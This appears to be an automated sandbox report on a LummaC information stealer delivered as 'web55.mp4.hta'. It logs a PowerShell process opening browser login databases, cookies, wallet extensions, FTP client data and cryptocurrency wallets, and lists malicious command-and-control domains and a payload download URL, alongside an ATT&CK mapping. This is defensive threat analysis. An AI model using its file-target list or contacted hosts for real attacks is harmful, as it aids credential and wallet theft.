Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG			Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	23 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	5 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Email Collection	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	231 Virtualization/Sandbox Evasion	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	231 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
web55.mp4.hta	2%	Virustotal		Browse
web55.mp4.hta	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	42%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer

Source	Detection	Scanner	Label
http://defaultcontainer/Assaac;component/app.xaml	0%	Avira URL Cloud	safe
crowdwarek.shop	100%	Avira URL Cloud	malware
robinsharez.shop	100%	Avira URL Cloud	malware
https://web.klipdywoziy.shop/kunnar.png	0%	Avira URL Cloud	safe
http://foo/Picture/pic_good.png	0%	Avira URL Cloud	safe
https://bigadcompany.com/Assaac.exeebKit/537.36	0%	Avira URL Cloud	safe
http://foo/bar/picture/pic_good.png	0%	Avira URL Cloud	safe
http://foo/bar/picture/img_cake.png	0%	Avira URL Cloud	safe
versersleep.shop	100%	Avira URL Cloud	malware
http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLOpen	0%	Avira URL Cloud	safe
http://foo/bar/picture/pic_tiz.ico	0%	Avira URL Cloud	safe
http://foo/Picture/pic_tiz.ico	0%	Avira URL Cloud	safe
https://bigadcompany.com/Assaac.exe4c	0%	Avira URL Cloud	safe
quinceisoz.cam	0%	Avira URL Cloud	safe
https://bigadcompany.com/Assaac.exe	100%	Avira URL Cloud	malware
femalsabler.shop	100%	Avira URL Cloud	malware
http://defaultcontainer/Assaac;component/Picture/img_cake.png	0%	Avira URL Cloud	safe
https://bigadcompany.com/t_	0%	Avira URL Cloud	safe
http://defaultcontainer/Assaac;component/Picture/pic_good.png	0%	Avira URL Cloud	safe
http://foo/bar/app.baml	0%	Avira URL Cloud	safe
https://bigadcompany.com/	0%	Avira URL Cloud	safe
http://defaultcontainer/Assaac;component/MainWindow.xaml	0%	Avira URL Cloud	safe
http://defaultcontainer/Assaac;component/Picture/pic_tiz.ico	0%	Avira URL Cloud	safe
soundtappysk.shop	100%	Avira URL Cloud	malware
apporholis.shop	100%	Avira URL Cloud	malware
http://foo/bar/mainwindow.baml	0%	Avira URL Cloud	safe
handscreamny.shop	100%	Avira URL Cloud	malware
http://foo/MainWindow.xaml	0%	Avira URL Cloud	safe
https://quinceisoz.cam/api	0%	Avira URL Cloud	safe
https://web.klipdywoziy.shop	0%	Avira URL Cloud	safe
chipdonkeruz.shop	100%	Avira URL Cloud	malware
https://bigadcompany.com/L_	0%	Avira URL Cloud	safe
http://foo/app.xaml	0%	Avira URL Cloud	safe
http://crl.microsoftJn9	0%	Avira URL Cloud	safe
http://foo/Picture/img_cake.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bigadcompany.com	192.250.235.30	true	false	unknown
web.klipdywoziy.shop	188.114.97.3	true	true	unknown
quinceisoz.cam	104.21.112.1	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
robinsharez.shop	true	Avira URL Cloud: malware	unknown
versersleep.shop	true	Avira URL Cloud: malware	unknown
crowdwarek.shop	true	Avira URL Cloud: malware	unknown
https://web.klipdywoziy.shop/kunnar.png	true	Avira URL Cloud: safe	unknown
quinceisoz.cam	true	Avira URL Cloud: safe	unknown
https://bigadcompany.com/Assaac.exe	false	Avira URL Cloud: malware	unknown
femalsabler.shop	true	Avira URL Cloud: malware	unknown
soundtappysk.shop	true	Avira URL Cloud: malware	unknown
apporholis.shop	true	Avira URL Cloud: malware	unknown
handscreamny.shop	true	Avira URL Cloud: malware	unknown
https://quinceisoz.cam/api	true	Avira URL Cloud: safe	unknown
chipdonkeruz.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://defaultcontainer/Assaac;component/app.xaml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Picture/pic_good.png	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A58514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rsms.me/This	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	false		high
http://foo/bar/picture/pic_good.png	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A58514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipapi.co/xml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	false		high
https://github.com/rsms/inter)InterBold3.019;RSMS;Inter-BoldInter	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	false		high
http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLOpen	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	false	Avira URL Cloud: safe	unknown
https://bigadcompany.com/Assaac.exeebKit/537.36	powershell.exe, 00000013.00000002.3694595921.0000000002F9A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/picture/img_cake.png	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/picture/pic_tiz.ico	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Picture/pic_tiz.ico	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000007.00000002.3710439009.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1324265227.0000000005354000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1313179671.0000000004611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000004AD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bigadcompany.com/Assaac.exe4c	powershell.exe, 00000013.00000002.3702752093.0000000003577000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.3766668638.000000000554C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1316974916.000000000567E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://foo/bar/app.baml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bigadcompany.com/t_	powershell.exe, 00000013.00000002.3705156170.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.3710439009.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1324265227.0000000005374000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1313179671.0000000004611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000004AD1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://defaultcontainer/Assaac;component/Picture/pic_good.png	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A58514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/Assaac;component/Picture/img_cake.png	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.3766668638.000000000554C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1316974916.000000000567E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bigadcompany.com/	powershell.exe, 00000013.00000002.3705156170.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
